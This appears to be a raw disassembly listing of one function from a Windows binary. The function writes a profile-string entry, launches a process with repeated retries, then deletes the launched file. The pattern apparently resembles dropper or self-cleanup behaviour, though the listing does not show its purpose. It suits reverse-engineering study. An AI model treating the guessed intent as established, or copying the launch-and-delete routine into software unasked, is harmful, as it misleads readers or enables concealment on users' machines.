call fcn.00409ab0
add esp, 0xc
push 0x41a148
mov dword [esp + 0x64], 0x44
call fcn.0041173b
xor eax, eax
lea edx, [esp + 0xae]
add esp, 4
push edx
xor ebx, ebx
mov dword [esp + 0xac], 0x20
mov dword [esp + 0xb0], eax
mov dword [esp + 0xb4], eax
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], eax
mov dword [esp + 0xc8], eax
mov dword [esp + 0xcc], eax
mov dword [esp + 0xd0], eax
call fcn.00405c90
mov eax, 0x41a148
add esp, 4
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406e40
lea edi, [esp + 0xa8]
sub eax, edx
add edi, 0xfffffffe
jmp 0x406e60
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x406e60
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x416e6c
mov ecx, eax
push 0x416e70
and ecx, 3
push str.OwneOne
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
mov esi, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x64]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0xc8]
push edx
push esi
call edi
test eax, eax
jne 0x406ef6
cmp ebx, 0xa
jae 0x406ef6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x64]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0xc8]
push edx
push esi
inc ebx
call edi
test eax, eax
je 0x406ec0
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
call edi
test eax, eax
jne 0x406f15
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call edi
test eax, eax
je 0x406f03
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406f35
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406f51
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2d0]
xor ecx, esp
call fcn.0040783d
mov esp, ebp
pop ebp
ret 0x10
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x2dc]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040783d
mov esp, ebp
pop ebp
ret 0x10